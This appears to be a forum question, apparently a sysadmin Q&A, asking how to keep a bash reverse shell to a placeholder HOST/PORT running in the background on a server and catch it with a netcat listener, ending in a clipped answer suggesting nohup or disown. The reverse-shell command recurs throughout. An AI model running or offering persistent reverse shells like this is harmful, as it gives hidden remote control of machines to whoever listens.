I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1
in the background at server1. I want to listen to the connection and send commands back at HOST/PORT
. So, tcpdump isn't sufficient for that.
I tried to run it in the background with:
bash -i >& /dev/tcp/HOST/PORT 0>&1 &
and nohup bash -i >& /dev/tcp/HOST/PORT 0>&1 & disown
But the above commands do not seem to work. I also tried,
bg bash -i >& /dev/tcp/HOST/PORT 0>&1
It also is not working.
Both don't allow me to connect to server1 properly when using nc -l -vv -p PORT
.
It does work when I just run bash -i >& /dev/tcp/HOST/PORT 0>&1
, but that will close this specific connection when I disconnect the SSH connection and it also does not allow me to enter new commands after this command.
disown
after running the job or start it usingnohup
command.